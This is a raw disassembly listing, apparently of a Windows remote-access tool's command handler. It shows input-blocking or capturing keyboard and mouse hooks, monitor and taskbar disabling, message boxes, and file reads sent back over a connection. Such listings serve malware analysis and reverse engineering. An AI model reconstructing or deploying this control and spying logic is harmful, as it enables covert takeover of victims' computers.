push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
mov eax, dword [0x427568]
cmp dword [eax], 0
jg 0x417bca
push dword [ebp - 0xc]
push 0x41f374
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
jmp 0x417be6
push dword [ebp - 0xc]
mov eax, dword [0x42744c]
push dword [eax]
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
push dword [ebp - 0xc]
lea edx, [ebp - 0x8184]
mov eax, dword [0x4273d4]
mov al, byte [eax]
call fcn.00415ec8
push dword [ebp - 0x8184]
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
push dword [ebp - 0xc]
lea edx, [ebp - 0x8188]
mov eax, dword [0x4275a4]
mov al, byte [eax]
call fcn.00415ec8
push dword [ebp - 0x8188]
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
push dword [ebp - 0xc]
lea edx, [ebp - 0x818c]
mov eax, dword [0x427574]
mov al, byte [eax]
call fcn.00415ec8
push dword [ebp - 0x818c]
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
push dword [ebp - 0xc]
lea edx, [ebp - 0x8190]
mov eax, dword [0x4274dc]
mov al, byte [eax]
call fcn.00415ec8
push dword [ebp - 0x8190]
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
push dword [ebp - 0xc]
lea edx, [ebp - 0x8194]
mov eax, dword [0x4275b0]
mov al, byte [eax]
call fcn.00415ec8
push dword [ebp - 0x8194]
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
mov eax, dword [0x4275b0]
cmp byte [eax], 0
jne 0x417ced
push dword [ebp - 0xc]
push 0x41f374
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
jmp 0x417d09
push dword [ebp - 0xc]
mov eax, dword [0x4274e0]
push dword [eax]
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
push dword [ebp - 0xc]
lea edx, [ebp - 0x8198]
mov eax, dword [0x4274d0]
mov al, byte [eax]
call fcn.00415ec8
push dword [ebp - 0x8198]
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
push dword [ebp - 0xc]
mov eax, dword [0x427628]
push dword [eax]
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
push dword [ebp - 0xc]
mov eax, dword [0x4273ec]
push dword [eax]
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
push dword [ebp - 0xc]
mov eax, dword [0x427410]
push dword [eax]
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
push dword [ebp - 0xc]
mov eax, dword [0x427460]
push dword [eax]
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
push dword [ebp - 0xc]
mov eax, dword [0x427480]
push dword [eax]
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
mov eax, dword [0x427474]
cmp byte [eax], 0
jne 0x417e1f
push dword [ebp - 0xc]
push 0x41f374
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
push dword [ebp - 0xc]
push 0x41f374
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
push dword [ebp - 0xc]
push 0x41f374
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
jmp 0x417ea6
push dword [ebp - 0xc]
lea edx, [ebp - 0x819c]
mov eax, dword [0x4275d4]
mov eax, dword [eax]
call fcn.00406bb8
push dword [ebp - 0x819c]
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
push dword [ebp - 0xc]
lea edx, [ebp - 0x81a0]
mov eax, dword [0x427600]
mov eax, dword [eax]
call fcn.00406bb8
push dword [ebp - 0x81a0]
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
push dword [ebp - 0xc]
lea edx, [ebp - 0x81a4]
mov eax, dword [0x4274a8]
mov eax, dword [eax]
call fcn.00406bb8
push dword [ebp - 0x81a4]
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
push dword [ebp - 0xc]
lea edx, [ebp - 0x81a8]
mov eax, dword [0x427630]
mov al, byte [eax]
call fcn.00415ec8
push dword [ebp - 0x81a8]
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
push dword [ebp - 0xc]
lea edx, [ebp - 0x81ac]
mov eax, dword [0x427488]
mov al, byte [eax]
call fcn.00415ec8
push dword [ebp - 0x81ac]
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
push dword [ebp - 0xc]
lea edx, [ebp - 0x81b0]
mov eax, dword [0x4274f8]
mov al, byte [eax]
call fcn.00415ec8
push dword [ebp - 0x81b0]
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
push dword [ebp - 0xc]
lea edx, [ebp - 0x81b4]
mov eax, dword [0x427610]
mov al, byte [eax]
call fcn.00415ec8
push dword [ebp - 0x81b4]
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
mov eax, dword [0x4275e0]
cmp byte [eax], 0
jne 0x417f80
push dword [ebp - 0xc]
push 0x41f374
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
jmp 0x417f9c
push dword [ebp - 0xc]
mov eax, dword [0x427458]
push dword [eax]
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
push dword [ebp - 0xc]
mov eax, dword [0x427638]
push dword [eax]
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
mov eax, dword [0x42754c]
cmp byte [eax], 0
jne 0x417fde
push dword [ebp - 0xc]
push 0x41f374
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
jmp 0x418006
push dword [ebp - 0xc]
mov eax, dword [0x4274f4]
push dword [eax]
push 0x41f0d8
mov eax, dword [0x4275d0]
push dword [eax]
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 5
call fcn.00402d20
mov eax, dword [0x42756c]
cmp byte [eax], 0
jne 0x418036
push dword [ebp - 0xc]
push 0x41f374
push 0x41f380
push 0x41f374
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 5
call fcn.00402d20
jmp 0x41805e
push dword [ebp - 0xc]
mov eax, dword [0x427514]
push dword [eax]
push 0x41f380
mov eax, dword [0x4275c0]
push dword [eax]
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 5
call fcn.00402d20
push 0x41f38c
push dword [ebp - 0xc]
push 0x41f0d8
lea eax, [ebp - 0x81b8]
mov edx, 3
call fcn.00402d20
mov edx, dword [ebp - 0x81b8]
mov eax, dword [0x427470]
mov eax, dword [eax]
call fcn.004154fc
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x81bc]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x81bc]
mov edx, 0x41f3a4
call fcn.00402da4
jne 0x418281
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x18]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
mov eax, dword [ebp - 0xc]
call fcn.00406cd4
mov ebx, eax
mov eax, dword [ebp - 0x10]
call fcn.00406cd4
or ebx, eax
push ebx
mov eax, dword [ebp - 0x14]
call fcn.00402e58
push eax
mov eax, dword [ebp - 0x18]
call fcn.00402e58
push eax
push 0
call sub.user32.dll_MessageBoxA
mov ebx, eax
push 0x41f3bc
lea edx, [ebp - 0x81c0]
mov eax, ebx
call fcn.00406bb8
push dword [ebp - 0x81c0]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
xor eax, eax
push ebp
push 0x41826a
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x418274
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x81c4]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x81c4]
mov edx, 0x41f3e0
call fcn.00402da4
jne 0x4182d3
mov ebx, dword [0x427618]
mov ebx, dword [ebx]
mov eax, 5
call ebx
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x81c8]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x81c8]
mov edx, 0x41f3f4
call fcn.00402da4
jne 0x418326
mov ebx, dword [0x4274b8]
mov ebx, dword [ebx]
xor ecx, ecx
xor edx, edx
mov al, 1
call ebx
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x81cc]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x81cc]
mov edx, 0x41f408
call fcn.00402da4
jne 0x418378
mov ebx, dword [0x427618]
mov ebx, dword [ebx]
mov eax, 4
call ebx
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x81d0]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x81d0]
mov edx, 0x41f418
call fcn.00402da4
jne 0x4183ca
mov ebx, dword [0x427618]
mov ebx, dword [ebx]
mov eax, 0xc
call ebx
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x81d4]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x81d4]
mov edx, 0x41f42c
call fcn.00402da4
jne 0x41841c
mov ebx, dword [0x427618]
mov ebx, dword [ebx]
mov eax, 6
call ebx
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x81d8]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x81d8]
mov edx, 0x41f440
call fcn.00402da4
jne 0x4184a1
push 0
push 0xf170
push 0x112
push 0xffff
call sub.user32.dll_SendMessageA
push 1
push 0xf170
push 0x112
push 0xffff
call sub.user32.dll_SendMessageA
push 2
push 0xf170
push 0x112
push 0xffff
call sub.user32.dll_SendMessageA
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x81dc]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x81dc]
mov edx, 0x41f458
call fcn.00402da4
jne 0x4184f0
mov ebx, dword [0x427404]
mov ebx, dword [ebx]
xor eax, eax
call ebx
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x81e0]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x81e0]
mov edx, 0x41f470
call fcn.00402da4
jne 0x41853f
mov ebx, dword [0x427404]
mov ebx, dword [ebx]
mov al, 1
call ebx
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x81e4]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x81e4]
mov edx, 0x41f488
call fcn.00402da4
jne 0x4185a5
push 0
push 0
push 0x41f498
push 0
push 0
push 0x41f4a0
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_FindWindowExA
push eax
call sub.user32.dll_EnableWindow
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x81e8]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x81e8]
mov edx, 0x41f4b8
call fcn.00402da4
jne 0x41860b
push 0xffffffffffffffff
push 0
push 0x41f498
push 0
push 0
push 0x41f4a0
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_FindWindowExA
push eax
call sub.user32.dll_EnableWindow
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x81ec]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x81ec]
mov edx, 0x41f4d0
call fcn.00402da4
jne 0x41865a
mov ebx, dword [0x427508]
mov ebx, dword [ebx]
xor eax, eax
call ebx
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x81f0]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x81f0]
mov edx, 0x41f4e4
call fcn.00402da4
jne 0x4186a9
mov ebx, dword [0x427508]
mov ebx, dword [ebx]
mov al, 1
call ebx
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x81f4]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x81f4]
mov edx, 0x41f4f8
call fcn.00402da4
jne 0x418700
push 0
push 0
push 0x41f508
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_EnableWindow
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x81f8]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x81f8]
mov edx, 0x41f518
call fcn.00402da4
jne 0x418757
push 0xffffffffffffffff
push 0
push 0x41f508
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_EnableWindow
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x81fc]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x81fc]
mov edx, 0x41f530
call fcn.00402da4
jne 0x4187a6
mov ebx, dword [0x4273e4]
mov ebx, dword [ebx]
xor eax, eax
call ebx
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x8200]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8200]
mov edx, 0x41f544
call fcn.00402da4
jne 0x4187f5
mov ebx, dword [0x4273e4]
mov ebx, dword [ebx]
mov al, 1
call ebx
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x8204]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8204]
mov edx, 0x41f558
call fcn.00402da4
jne 0x41884c
push 0
push 0
push 0x41f4a0
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_EnableWindow
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x8208]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8208]
mov edx, 0x41f56c
call fcn.00402da4
jne 0x4188a3
push 0xffffffffffffffff
push 0
push 0x41f4a0
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_EnableWindow
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x820c]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x820c]
mov edx, 0x41f584
call fcn.00402da4
jne 0x418984
push 0
mov eax, dword [0x428678]
push eax
mov eax, dword [0x427538]
mov eax, dword [eax]
push eax
push 0xd
call sub.user32.dll_SetWindowsHookExA
mov dword [0x429cac], eax
push 0
mov eax, dword [0x428678]
push eax
mov eax, dword [0x42742c]
mov eax, dword [eax]
push eax
push 0xe
call sub.user32.dll_SetWindowsHookExA
mov dword [0x429ca8], eax
mov ebx, dword [0x427408]
mov ebx, dword [ebx]
mov edx, dword [0x429cac]
mov eax, dword [0x429ca8]
call ebx
mov byte [0x429ce9], 1
cmp byte [0x429ce9], 1
jne 0x418977
push 5
call sub.kernel32.dll_Sleep
push 1
push 0
push 0
push 0
lea eax, [ebp - 0x70]
push eax
call sub.user32.dll_PeekMessageA
test eax, eax
je 0x41896e
cmp dword [ebp - 0x6c], 0x12
je 0x41896e
lea eax, [ebp - 0x70]
push eax
call sub.user32.dll_TranslateMessage
lea eax, [ebp - 0x70]
push eax
call sub.user32.dll_DispatchMessageA
cmp byte [0x429ce9], 1
je 0x41893a
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x8210]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8210]
mov edx, 0x41f598
call fcn.00402da4
jne 0x418a00
mov byte [0x429ce9], 0
push 5
call sub.kernel32.dll_Sleep
mov ebx, dword [0x427408]
mov ebx, dword [ebx]
mov edx, dword [0x429cac]
mov eax, dword [0x429ca8]
call ebx
mov eax, dword [0x429cac]
push eax
call sub.user32.dll_UnhookWindowsHookEx
mov eax, dword [0x429ca8]
push eax
call sub.user32.dll_UnhookWindowsHookEx
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x8214]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8214]
mov edx, 0x41f5b0
call fcn.00402da4
jne 0x418a74
cmp byte [0x429ce8], 1
jne 0x418a54
mov ebx, dword [0x4275dc]
mov ebx, dword [ebx]
xor eax, eax
call ebx
mov byte [0x429ce8], 0
jmp 0x418a67
mov ebx, dword [0x4275dc]
mov ebx, dword [ebx]
mov al, 1
call ebx
mov byte [0x429ce8], 1
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x8218]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8218]
mov edx, 0x41f5c4
call fcn.00402da4
jne 0x418ac1
mov ebx, dword [0x427560]
mov ebx, dword [ebx]
call ebx
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x821c]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x821c]
mov edx, 0x41f5dc
call fcn.00402da4
jne 0x418b0e
mov ebx, dword [0x4274b4]
mov ebx, dword [ebx]
call ebx
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x8220]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8220]
mov edx, 0x41f5f4
call fcn.00402da4
jne 0x418b5b
mov ebx, dword [0x4274c0]
mov ebx, dword [ebx]
call ebx
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x8224]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8224]
mov edx, 0x41f604
call fcn.00402da4
jne 0x418ba8
mov ebx, dword [0x4274d8]
mov ebx, dword [ebx]
call ebx
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x8228]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8228]
mov edx, 0x41f614
call fcn.00402da4
jne 0x418bf9
mov eax, 0x416178
xor ecx, ecx
xor edx, edx
call fcn.004055fc
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x822c]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x822c]
mov edx, 0x41f628
call fcn.00402da4
jne 0x418e15
xor eax, eax
push ebp
push 0x418dcb
push dword fs:[eax]
mov dword fs:[eax], esp
push 5
call sub.kernel32.dll_Sleep
push 0x41f63c
mov eax, dword [0x4274c8]
push dword [eax + 8]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
mov ebx, dword [0x42751c]
mov ebx, dword [ebx]
lea eax, [ebp - 0xc]
call ebx
push 0x41f65c
mov eax, dword [ebp - 0xc]
call fcn.00402c60
add eax, 4
lea edx, [ebp - 0x8230]
call fcn.00406bb8
push dword [ebp - 0x8230]
push 0x41f0d8
lea eax, [ebp - 8]
mov edx, 3
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
mov dl, 1
mov eax, dword [0x41465c]
call fcn.0040218c
mov dword [ebp - 0x34], eax
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x34]
call fcn.00415f04
push 0
push 0
mov eax, dword [ebp - 0x34]
call fcn.004148c4
xor eax, eax
push ebp
push 0x418d80
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x34]
call fcn.004148a4
mov esi, eax
lea edx, [ebp - 0x8085]
mov ecx, 0x8001
mov eax, dword [ebp - 0x34]
mov ebx, dword [eax]
call dword [ebx + 8]
mov ebx, eax
test ebx, ebx
jle 0x418cfe
lea edx, [ebp - 0x8085]
mov eax, dword [0x427470]
mov eax, dword [eax]
mov ecx, ebx
call fcn.00408d1c
mov ecx, eax
cmp ecx, ebx
jge 0x418d4b
lea eax, [ecx + esi]
cdq
push edx
push eax
mov eax, dword [ebp - 0x34]
call fcn.004148c4
jmp 0x418cfe
mov eax, dword [ebp - 0x34]
call fcn.004148a4
push edx
push eax
mov eax, dword [ebp - 0x34]
call fcn.004148d8
cmp edx, dword [esp + 4]
jne 0x418d66
cmp eax, dword [esp]
pop edx
pop eax
jne 0x418cfe
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x418d87
mov eax, dword [ebp - 0x34]
call fcn.004021bc
ret
lea eax, [ebp - 0x8234]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8234]
mov edx, 0x41f67c
call fcn.00402da4
jne 0x418f20
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 4]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov ebx, dword [0x427608]
mov ebx, dword [ebx]
mov eax, dword [ebp - 4]
call ebx
cmp al, 1
jne 0x418ed9
push 5
call sub.kernel32.dll_Sleep
push 0x41f63c
mov eax, dword [0x4274c8]
push dword [eax + 0x18]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
jmp 0x418f13
push 5
call sub.kernel32.dll_Sleep
push 0x41f63c
mov eax, dword [0x4274c8]
push dword [eax + 0x1c]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x8238]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8238]
mov edx, 0x41f694
call fcn.00402da4
jne 0x4190da
push 5
call sub.kernel32.dll_Sleep
push 0x41f6ac
mov eax, dword [0x4274c8]
push dword [eax + 8]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
lea eax, [ebp - 0xc]
call fcn.00416110
push 0x41f6d0
mov eax, dword [ebp - 0xc]
call fcn.00402c60
add eax, 4
lea edx, [ebp - 0x823c]
call fcn.00406bb8
push dword [ebp - 0x823c]
push 0x41f0d8
lea eax, [ebp - 8]
mov edx, 3
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
mov dl, 1
mov eax, dword [0x41465c]
